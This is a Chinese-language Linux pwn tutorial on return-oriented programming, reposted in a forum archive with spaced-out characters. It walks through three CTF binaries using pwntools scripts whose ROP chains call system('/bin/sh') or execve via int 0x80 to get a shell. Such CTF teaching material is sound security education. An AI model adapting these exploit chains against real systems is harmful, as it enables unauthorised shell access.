搜索

[19358] 2018-07-17_Linuxpwn入门教程(3)——ROP技术

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2018-07-17_Linuxpwn入门教程(3)——ROP技术 L i n u x   p w n 入 门 教 程 ( 3 ) — — R O P 技 术 i 春 秋   2 0 1 8 - 0 7 - 1 7 作 者 ： T a n g e r i n e @ S A I N T S E C i 春 秋 社 区 背 景 背 景 在 上 一 篇 教 程 的 《 s h e l l c o d e 的 变 形 》 一 节 中 ， 我 们 提 到 过 内 存 页 的 R W X 三 种 属 性 。 显 然 ， 如 果 某 一 页 内 存 没 有 可 写 ( W ) 属 性 ， 我 们 就 无 法 向 里 面 写 入 代 码 ， 如 果 没 有 可 执 行 ( X ) 属 性 ， 写 入 到 内 存 页 中 的 s h e l l c o d e 就 无 法 执 行 。 关 于 这 个 特 性 的 实 验 在 此 不 做 展 开 ， 大 家 可 以 尝 试 在 调 试 时 修 改 E I P 和 r e a d ( ) / s c a n f ( ) / g e t s ( ) 等 函 数 的 参 数 来 观 察 操 作 无 对 应 属 性 内 存 的 结 果 。 那 么 我 们 怎 么 看 某 个 E L F 文 件 中 是 否 有 R W X 内 存 页 呢 ？ 首 先 我 们 可 以 在 静 态 分 析 和 调 试 中 使 用 I D A 的 快 捷 键 C t r l   +   S 或 者 同 上 一 篇 教 程 中 的 方 法 ， 使 用 p w n t o o l s 自 带 的 c h e c k s e c 命 令 检 查 程 序 是 否 带 有 R W X 段 。 当 然 ， 由 于 程 序 可 能 在 运 行 中 调 用 m p r o t e c t ( ) , m m a p ( ) 等 函 数 动 态 修 改 或 分 配 具 有 R W X 属 性 的 内 存 页 ， 以 上 方 法 均 可 能 存 在 误 差 。 既 然 攻 击 者 们 能 想 到 在 R W X 段 内 存 页 中 写 入 s h e l l c o d e 并 执 行 ， 防 御 者 们 也 能 想 到 ， 因 此 ， 一 种 名 为 N X 位 （ N o   e X e c u t e   b i t ） 的 技 术 出 现 了 。 这 是 一 种 在 C P U 上 实 现 的 安 全 技 术 ， 这 个 位 将 内 存 页 以 数 据 和 指 令 两 种 方 式 进 行 了 分 类 。 被 标 记 为 数 据 页 的 内 存 页 （ 如 栈 和 堆 ） 上 的 数 据 无 法 被 当 成 指 令 执 行 ， 即 没 有 X 属 性 。 由 于 该 保 护 方 式 的 使 用 ， 之 前 直 接 向 内 存 中 写 入 s h e l l c o d e 执 行 的 方 式 显 然 失 去 了 作 用 。 因 此 ， 我 们 就 需 要 学 习 一 种 著 名 的 绕 过 技 术 — — R O P （ R e t u r n - O r i e n t e d   P r o g r a m m i n g ,   返 回 导 向 编 程 ）
顾 名 思 义 ， R O P 就 是 使 用 返 回 指 令 r e t 连 接 代 码 的 一 种 技 术 （ 同 理 还 可 以 使 用 j m p 系 列 指 令 和 c a l l 指 令 ， 有 时 候 也 会 对 应 地 成 为 J O P / C O P ） 。 一 个 程 序 中 必 然 会 存 在 函 数 ， 而 有 函 数 就 会 有 r e t 指 令 。 我 们 知 道 ， r e t 指 令 的 本 质 是 p o p   e i p ， 即 把 当 前 栈 顶 的 内 容 作 为 内 存 地 址 进 行 跳 转 。 而 R O P 就 是 利 用 栈 溢 出 在 栈 上 布 置 一 系 列 内 存 地 址 ， 每 个 内 存 地 址 对 应 一 个 g a d g e t ， 即 以 r e t / j m p / c a l l 等 指 令 结 尾 的 一 小 段 汇 编 指 令 ， 通 过 一 个 接 一 个 的 跳 转 执 行 某 个 功 能 。 由 于 这 些 汇 编 指 令 本 来 就 存 在 于 指 令 区 ， 肯 定 可 以 执 行 ， 而 我 们 在 栈 上 写 入 的 只 是 内 存 地 址 ， 属 于 数 据 ， 所 以 这 种 方 式 可 以 有 效 绕 过 N X 保 护 。 使 用 使 用 R O P 调 用 调 用 g o t 表 中 函 数 表 中 函 数 首 先 我 们 来 看 一 个 x 8 6 下 的 简 单 R O P ， 我 们 将 通 过 这 里 例 子 演 示 如 何 调 用 一 个 存 在 于 g o t 表 中 的 函 数 并 控 制 其 参 数 。 我 们 打 开 ~ / R e d H a t 2 0 1 7 - p w n 1 / p w n 1 。 可 以 很 明 显 看 到 m a i n 函 数 存 在 栈 溢 出 ： 变 量 v 1 的 首 地 址 在 b p - 2 8 h 处 ， 即 变 量 在 栈 上 ， 而 输 入 使 用 的 _ _ i s o c 9 9 _ s c a n f 不 限 制 长 度 ， 因 此 我 们 的 过 长 输 入 将 会 造 成 栈 溢 出 。 程 序 开 启 了 N X 保 护 ， 所 以 显 然 我 们 不 可 能 用 s h e l l c o d e 打 开 一 个 s h e l l 。 根 据 之 前 文 章 的 思 路 ， 我 们 很 容 易 想 到 要 调 用 s y s t e m 函 数 执 行 s y s t e m ( “ / b i n / s h ” ) 。 那 么 我 们 从 哪 里 可 以 找 到 s y s t e m 和 ” / b i n / s h ” 呢 ？ 第 一 个 问 题 ， 我 们 知 道 使 用 动 态 链 接 的 程 序 导 入 库 函 数 的 话 ， 我 们 可 以 在 G O T 表 和 P L T 表 中 找 到 函 数 对 应 的 项 （ 稍 后 的 文 章 中 我 们 将 详 细 解 释 ） 。 跳 转 到 . g o t . p l t 段 ， 我 们 发 现 程 序 里 居 然 导 入 了 s y s t e m 函 数 。 解 决 了 第 一 个 问 题 之 后 我 们 就 需 要 考 虑 第 二 个 问 题 。 通 过 对 程 序 的 搜 索 我 们 没 有 发 现 字 符 串 “ / b i n / s h ” ， 但 是 程 序 里 有 _ _ i s o c 9 9 _ s c a n f ， 我 们 可 以 调 用 这 个 函 数 来 读 取 ” / b i n / s h ” 字 符 串 到 进 程 内 存 中 。 下 面 我 们 来 开 始 构 建 R O P 链 。 首 先 我 们 考 虑 一 下 “ / b i n / s h ” 字 符 串 应 该 放 哪 。 通 过 调 试 时 按 C t r l + S 快 捷 键 查 看 程 序 的 内 存 分 段 ， 我 们 看 到 0 x 0 8 0 4 a 0 3 0 开 始 有 个 可 读 可 写 的 大 于 8 字 节 的 地 址 ， 且 该 地 址 不 受 A S L R 影 响 ， 我 们 可 以 考 虑 把 字 符 串 读 到 这 里 。
接 下 来 我 们 找 到 _ _ i s o c 9 9 _ s c a n f 的 另 一 个 参 数 “ % s ” ， 位 于 0 x 0 8 0 4 8 6 2 9 接 着 我 们 使 用 p w n t o o l s 的 功 能 获 取 到 _ _ i s o c 9 9 _ s c a n f 在 P L T 表 中 的 地 址 ， P L T 表 中 有 一 段 s t u b 代 码 ， 将 E I P 劫 持 到 某 个 函 数 的 P L T 表 项 中 我 们 可 以 直 接 调 用 该 函 数 。 我 们 知 道 ， 对 于 x 8 6 的 应 用 程 序 来 说 ， 其 参 数 从 右 往 左 入 栈 。 因 此 ， 现 在 我 们 就 可 以 构 建 出 一 个 R O P 链 。 f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( a r c h   =   ' i 3 8 6 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) e l f   =   E L F ( ' . / p w n 1 ' ) s c a n f _ a d d r   =   p 3 2 ( e l f . s y m b o l s [ ' _ _ i s o c 9 9 _ s c a n f ' ] ) f o r m a t _ s   =   p 3 2 ( 0 x 0 8 0 4 8 6 2 9 ) b i n s h _ a d d r   =   p 3 2 ( 0 x 0 8 0 4 a 0 3 0 ) s h e l l c o d e 1   =   ' A ' * 0 x 3 4 s h e l l c o d e 1   + =   s c a n f _ a d d r s h e l l c o d e 1   + =   f o r m a t _ s s h e l l c o d e 1   + =   b i n s h _ a d d r p r i n t   i o . r e a d ( ) i o . s e n d l i n e ( s h e l l c o d e 1 ) i o . s e n d l i n e ( “ / b i n / s h ” )   我 们 来 测 试 一 下 。   通 过 调 试 我 们 可 以 看 到 ， 当 E I P 指 向 r e t n 时 ， 栈 上 的 数 据 和 我 们 的 预 想 一 样 ， 栈 顶 是 p l t 表 中 _ _ i s o c 9 9 _ s c a n f 的 首 地 址 ， 紧 接 着 是 两 个 参 数 。   ! [ ] ( d a t a / a t t a c h m e n t / a l b u m / 2 0 1 8 0 7 / 0 6 / 1 1 3 5 3 8 d r g l f g f g r r l m r t r y . p n g )   我 们 继 续 跟 进 执 行 ， 在 l i b c 中 执 行 一 会 儿 之 后 ， 我 们 收 到 了 一 个 错 误   ! [ ] ( d a t a / a t t a c h m e n t / a l b u m / 2 0 1 8 0 7 / 0 6 / 1 1 3 5 4 4 p 5 3 3 3 t 7 q e 7 9 7 q g b t . p n g )   这 是 为 什 么 呢 ？ 我 们 回 顾 一 下 之 前 的 内 容 。 我 们 知 道 c a l l 指 令 会 将 c a l l 指 令 的 下 一 条 指 令 地 址 压 入 栈 中 ， 当 被 c a l l 调 用 的 函 数 运 行 结 束 后 ， r e t 指 令 就 会 取 出 被 c a l l 指 令 压 入 栈 中 的 地 址 传 输 给 E I P 。 但 是 在 这 里 我 们 绕 过 c a l l 直 接 调 用 了 _ _ i s o c 9 9 _ s c a n f ， 没 有 像 c a l l 指 令 一 样 向 栈 压 入 一 个 地 址 。 此 时 函 数 认 为 返 回 地 址 是 紧 接 着 s c a n f _ a d d r 的 f o r m a t _ s ， 而 第 一 个 参 数 就 变 成 了 b i n s h _ a d d r ` c a l l 调 用 函 数 的 情 况 调 用 函 数 的 情 况 0 8 0 4 8 5 5 7     m o v       [ e s p + 4 ] ,   e a x 0 8 0 4 8 5 5 B     m o v       d w o r d   p t r   [ e s p ] ,   o f f s e t   u n k _ 8 0 4 8 6 2 9             0 8 0 4 8 5 6 2     c a l l         _ _ _ i s o c 9 9 _ s c a n f                                 0 8 0 4 8 5 6 7     l e a           e a x ,   [ e s p + 1 8 h ]

0 8 0 4 8 5 8 0                   l e a v e 0 8 0 4 8 5 8 1                 r e t n                                                 ;                 p o p   e i p F 7 E 2 2 6 1 0                   _ _ i s o c 9 9 _ s c a n f :   F 7 E 2 2 6 1 0                 p u s h     e b p F 7 E 2 2 6 1 1                 m o v           e b p ,   e s p 从 两 种 调 用 方 式 的 比 较 上 我 们 可 以 看 到 ， 由 于 少 了 c a l l 指 令 的 压 栈 操 作 ， 如 果 我 们 在 布 置 栈 的 时 候 不 模 拟 出 一 个 压 入 栈 中 的 地 址 ， 被 调 用 函 数 的 取 到 的 参 数 就 是 错 位 的 。 所 以 我 们 需 要 改 良 一 下 R O P 链 。 根 据 上 面 的 描 述 ， 我 们 应 该 在 参 数 和 保 存 的 E I P 中 间 放 置 一 个 执 行 完 的 返 回 地 址 。 鉴 于 我 们 调 用 s c a n f 读 取 字 符 串 后 还 要 调 用 s y s t e m 函 数 ， 我 们 让 _ _ i s o c 9 9 _ s c a n f 执 行 完 后 再 次 返 回 到 m a i n 函 数 开 头 ， 以 便 于 再 执 行 一 次 栈 溢 出 。 改 良 后 的 R O P 链 如 下 ： f r o m   p w n   i m p o r t   *   c o n t e x t . u p d a t e ( a r c h   =   ' i 3 8 6 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 )   e l f = E L F ( ' . / p w n 1 ' )   s c a n f _ a d d r   =   p 3 2 ( e l f . s y m b o l s [ ' _ _ i s o c 9 9 _ s c a n f ' ] )                 f o r m a t _ s   =   p 3 2 ( 0 x 0 8 0 4 8 6 2 9 )                   b i n s h _ a d d r   =   p 3 2 ( 0 x 0 8 0 4 a 0 3 0 )   s h e l l c o d e 1   =   ' A ' * 0 x 3 4                   s h e l l c o d e 1   + =   s c a n f _ a d d r   s h e l l c o d e 1   + =   m a i n _ a d d r   s h e l l c o d e 1   + =   f o r m a t _ s   s h e l l c o d e 1 + = b i n s h _ a d d r p r i n t   i o . r e a d ( ) i o . s e n d l i n e ( s h e l l c o d e 1 ) i o . s e n d l i n e ( “ / b i n / s h ” ) 我 们 再 次 进 行 调 试 ， 发 现 这 回 成 功 调 用 _ _ i s o c 9 9 _ s c a n f 把 ” / b i n / s h ” 字 符 串 读 取 到 地 址 0 x 0 8 0 4 a 0 3 0 处 此 时 程 序 再 次 从 m a i n 函 数 开 始 执 行 。 由 于 栈 的 状 态 发 生 了 改 变 ， 我 们 需 要 重 新 计 算 溢 出 的 字 节 数 。 然 后 再 次 利 用 R O P 链 调 用 s y s t e m 执 行 s y s t e m ( “ / b i n / s h ” ) ， 这 个 R O P 链 可 以 模 仿 上 一 个 写 出 来 ， 完 整 的 脚 本 也 可 以 在 对 应 文 件 夹 中 找 到 ， 此 处 不 再 赘 述 。 接 下 来 让 我 们 来 看 看 6 4 位 下 如 何 使 用 R O P 调 用 g o t 表 中 的 函 数 。 我 们 打 开 文 件 ~ / b u g s   b u n n y   c t f   2 0 1 7 - p w n 1 5 0 / p w n 1 5 0 ， 很 容 易 就 可 以 发 现 溢 出 出 现 在 H e l l o ( ) 里
和 上 一 个 例 子 一 样 ， 由 于 程 序 开 启 了 N X 保 护 ， 我 们 必 须 找 到 s y s t e m 函 数 和 ” / b i n / s h ” 字 符 串 。 程 序 在 m a i n 函 数 中 调 用 了 自 己 定 义 的 一 个 叫 t o d a y 的 函 数 ， 执 行 了 s y s t e m ( “ / b i n / d a t e ” ) ， 那 么 s y s t e m 函 数 就 有 了 。 至 于 ” / b i n / s h ” 字 符 串 ， 虽 然 程 序 中 没 有 ， 但 是 我 们 找 到 了 ” s h ” 字 符 串 ， 利 用 这 个 字 符 串 其 实 也 可 以 开 s h e l l O K ， 现 在 我 们 有 了 栈 溢 出 点 ， 有 了 s y s t e m 函 数 ， 有 了 字 符 串 ” s h ” ， 可 以 尝 试 开 s h e l l 了 。 首 先 我 们 要 解 决 传 参 数 的 问 题 。 和 x 8 6 不 同 ， 在 x 6 4 下 通 常 参 数 从 左 到 右 依 次 放 在 r d i ,   r s i ,   r d x ,   r c x ,   r 8 ,   r 9 ， 多 出 来 的 参 数 才 会 入 栈 （ 根 据 调 用 约 定 的 方 式 可 能 有 不 同 ， 通 常 是 这 样 ） ， 因 此 ， 我 们 就 需 要 一 个 给 R D I 赋 值 的 办 法 。 由 于 我 们 可 以 控 制 栈 ， 根 据 R O P 的 思 想 ， 我 们 需 要 找 到 的 就 是 p o p   r d i ;   r e t ， 前 半 段 用 于 赋 值 r d i ， 后 半 段 用 于 跳 到 其 他 代 码 片 段 。 有 很 多 工 具 可 以 帮 我 们 找 到 R O P   g a d g e t ， 例 如 p w n t o o l s 自 带 的 R O P 类 ， R O P g a d g e t 、 r p + + 、 r o p e m e 等 。 在 这 里 我 使 用 的 是 R O P g a d g e t ( h t t p s : / / g i t h u b . c o m / J o n a t h a n S a l w a n / R O P g a d g e t ） 通 过 R O P g a d g e t   - - b i n a r y   指 定 二 进 制 文 件 ， 使 用 g r e p 在 输 出 的 所 有 g a d g e t s 中 寻 找 需 要 的 片 段 这 里 有 一 个 小 t r i c k 。 首 先 ， 我 们 看 一 下 I D A 中 这 个 地 址 的 内 容 是 什 么 。 我 们 可 以 发 现 并 没 有 0 x 4 0 0 8 8 3 这 个 地 址 ， 0 x 4 0 0 8 8 2 是 p o p   r 1 5 ,   接 下 来 就 是 0 x 4 0 0 8 8 4 的 r e t n ， 那 么 这 个 p o p   r d i 会 不 会 是 因 为 R O P g a d g e t 出 b u g 了 呢 ？ 别 急 ， 我 们 选 择 0 x 4 0 0 8 8 2 ， 按 快 捷 键 D 转 换 成 数 据 。 然 后 选 择 0 x 4 0 0 8 8 3 按 C 转 换 成 代 码 我 们 可 以 看 出 来 p o p   r d i 实 际 上 是 p o p   r 1 5 的 “ 一 部 分 ” 。 这 也 再 次 验 证 了 汇 编 指 令 不 过 是 一 串 可 被 解 析 为 合 法 o p c o d e 的 数 据 的 别 名 。 只 要 对 应 的 数 据 所 在 内 存 可 执 行 ， 能 被 转 成 合 法 的 o p c o d e ， 跳 转 过 去 都 是 不 会 有 问 题 的 。 现 在 我 们 已 经 准 备 好 了 所 有 东 西 ， 可 以 开 始 构 建 R O P 链 了 。 这 回 我 们 直 接 调 用 c a l l   s y s t e m 指 令 ， 省 去 了 手 动 往 栈 上 补 返 回 地 址 的 环 节 ， 脚 本 如 下 ：
# ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   *   c o n t e x t . u p d a t e ( a r c h   =   ' a m d 6 4 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 )   c a l l _ s y s t e m   =   0 x 4 0 0 7 5 f                                                 # c a l l   s y s t e m 指 令 在 内 存 中 的 位 置 b i n s h   =   0 x 4 0 0 3 e f                                                 # 字 符 串 " s h " 在 内 存 中 的 位 置 p o p _ r d i   =   0 x 4 0 0 8 8 3                                                 # p o p   r d i ;   r e t n p a y l o a d   =   " " p a y l o a d   + =   " A " * 8 8                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( p o p _ r d i )                                 p a y l o a d   + =   p 6 4 ( b i n s h )                                                 # r d i 指 向 字 符 串 " s h " p a y l o a d   + =   p 6 4 ( c a l l _ s y s t e m )                                 # 调 用 s y s t e m 执 行 s y s t e m ( " s h " ) i o . s e n d l i n e ( p a y l o a d )   i o . i n t e r a c t i v e ( ) 进 行 调 试 ， 发 现 开 s h e l l 成 功 。 r e t n 跳 转 到 0 x 4 0 0 8 8 3 处 的 g a d g e t ： p o p   r d i ;   r e t p o p   r d i 将 ” s h ” 字 符 串 所 在 地 址 0 x 4 0 0 3 e f 赋 值 给 r d i r e t n 跳 转 到 c a l l   s y s t e m 处 使 用 使 用 R O P 调 用 调 用 i n t   8 0 h / s y s c a l l 在 上 一 节 中 ， 我 们 接 触 到 了 一 种 最 简 单 的 使 用 R O P 的 场 景 。 但 是 现 实 的 情 况 是 很 多 情 况 下 目 标 程 序 并 不 会 导 入 s y s t e m 函 数 。 在 这 种 情 况 下 我 们 就 需 要 通 过 其 他 方 法 达 到 目 标 。 在 这 一 节 中 我 们 首 先 学 习 的 是 通 过 R O P 调 用 i n t   8 0 h / s y s c a l l 关 于 i n t   8 0 h / s y s c a l l ， 在 上 一 篇 文 章 的 《 系 统 调 用 》 一 节 中 已 经 做 了 介 绍 ， 现 在 我 们 来 看 例 子 ~ / T a m u   C T F   2 0 1 8 - p w n 5 / p w n 5 . 这 个 程 序 的 主 要 功 能 在 p r i n t _ b e g i n n i n g ( ) 实 现 。
这 个 函 数 有 大 量 的 p u t s ( ) 和 p r i n t f ( ) 输 出 提 示 ， 要 求 我 们 输 入 f i r s t _ n a m e ,   l a s t _ n a m e 和 m a j o r 三 个 字 符 串 到 三 个 全 局 变 量 里 ， 然 后 选 择 是 否 加 入 C o r p s   o f   C a d e t s 。 不 管 选 是 还 是 否 都 会 进 入 一 个 差 不 多 的 函 数 我 们 可 以 看 到 只 有 选 择 选 项 2 才 会 调 用 函 数 c h a n g e _ m a j o r ( ) ， 其 他 选 项 都 只 是 打 印 出 一 些 内 容 。 进 入 c h a n g e _ m a j o r ( ) 后 ， 我 们 发 现 了 一 个 栈 溢 出 ：
发 现 了 溢 出 点 后 ， 我 们 就 可 以 开 始 构 思 怎 么 g e t s h e l l 了 。 就 像 开 头 说 的 那 样 ， 这 个 程 序 里 找 不 到 s y s t e m 函 数 。 但 是 我 们 用 R O P G a d g e t   - - b i n a r y   p w n 5   |   g r e p   “ i n t   0 x 8 0 ” 找 到 了 一 个 可 用 的 g a d g e t 回 顾 一 下 上 一 篇 文 章 ， 我 们 知 道 在 h t t p : / / s y s c a l l s . k e r n e l g r o k . c o m /   上 可 以 找 到 s y s _ e x e c v e 调 用 ， 同 样 可 以 用 来 开 s h e l l ， 这 个 系 统 调 用 需 要 设 置 5 个 寄 存 器 ， 其 中 e a x   =   1 1   =   0 x b ,   e b x   =   & ( “ / b i n / s h ” ) ,   e c x   =   e d x   =   e d i   =   0 .   “ / b i n / s h ” 我 们 可 以 在 前 面 输 入 到 地 址 固 定 的 全 局 变 量 中 。 接 下 来 我 们 就 要 通 过 R O P g a d g e t 搜 索 p o p   e a x / e b x / e c x / e d x / e s i ;   r e t 了 。 p o p   e a x ;   p o p   e b x ;   p o p   e s i ;   p o p   e d i ;   r e t p o p   e a x ;   p o p   e b x ;   p o p   e s i ;   p o p   e d i ;   r e t 构 建 R O P 链 和 脚 本 如 下 ：
# ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 2 ' ,   1 0 0 0 1 )   p p p p r   =   0 x 0 8 0 a 1 5 0 a                 # p o p   e a x ;   p o p   e b x ;   p o p   e s i ;   p o p   e d i ;   r e t p p p r   =   0 x 0 8 0 7 3 3 b 0                 # p o p   e d x ;   p o p   e c x ;   p o p   e b x ;   r e t i n t _ 8 0   =   0 x 0 8 0 7 1 0 0 5                 # i n t   0 x 8 0 b i n s h   =   0 x 0 8 0 f 1 a 2 0                 # f i r s t _ n a m e   a d d r e s s p a y l o a d   =   " A " * 3 2                                 # p a d d i n g p a y l o a d   + =   p 3 2 ( p p p p r )                 # p o p   e a x ;   p o p   e b x ;   p o p   e s i ;   p o p   e d i ;   r e t p a y l o a d   + =   p 3 2 ( 0 x b )                                 # e a x   =   0 x b p a y l o a d   + =   p 3 2 ( b i n s h )                 # e b x   =   & ( " / b i n / s h " ) p a y l o a d   + =   p 3 2 ( 0 )                                 # e s i   =   0 p a y l o a d   + =   p 3 2 ( 0 )                                 # e d i   =   0 p a y l o a d   + =   p 3 2 ( p p p r )                 # p o p   e d x ;   p o p   e c x ;   p o p   e b x ;   r e t p a y l o a d   + =   p 3 2 ( 0 )                                 # e d x   =   0 p a y l o a d   + =   p 3 2 ( 0 )                                 # e c x   =   0 p a y l o a d   + =   p 3 2 ( b i n s h )                 # e b x   =   & ( " / b i n / s h " ) p a y l o a d   + =   p 3 2 ( i n t _ 8 0 )                 # i n t   0 x 8 0 i o . s e n d l i n e ( " / b i n / s h " )                 # f i r s t _ n a m e 里 面 存 储 " / b i n / s h " i o . s e n d l i n e ( " A " )                                 # 随 便 输 入 i o . s e n d l i n e ( " A " )                                 # 随 便 输 入 i o . s e n d l i n e ( " y " )                                 # 选 y 进 入 函 数 f i r s t _ d a y _ c o r p s ( ) i o . s e n d l i n e ( " 2 " )                                 # 选 项 2 进 入 c h a n g e _ m a j o r ( ) ， 触 发 栈 溢 出 i o . s e n d l i n e ( p a y l o a d )   i o . i n t e r a c t i v e ( ) 调 试 时 发 现 执 行 失 败 了 ， R O P 链 并 没 有 被 读 进 去 这 是 为 什 么 呢 ？ 我 们 输 出 p a y l o a d 后 发 现 0 x 0 8 0 1 5 0 a 里 面 有 两 个 0 x 0 a ， 即 “ n ” 在 输 入 的 时 候 ， 我 们 会 使 用 回 车 键 ” n ” 代 表 输 入 结 束 ， 显 然 这 边 也 是 受 到 了 这 个 控 制 字 符 的 影 响 ， 因 此 我 们 需 要 重 新 挑 选 g a d g e t s 。 我 们 把 g a d g e t 换 成 这 一 条 修 改 脚 本 发 现 成 功 g e t s h e l l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理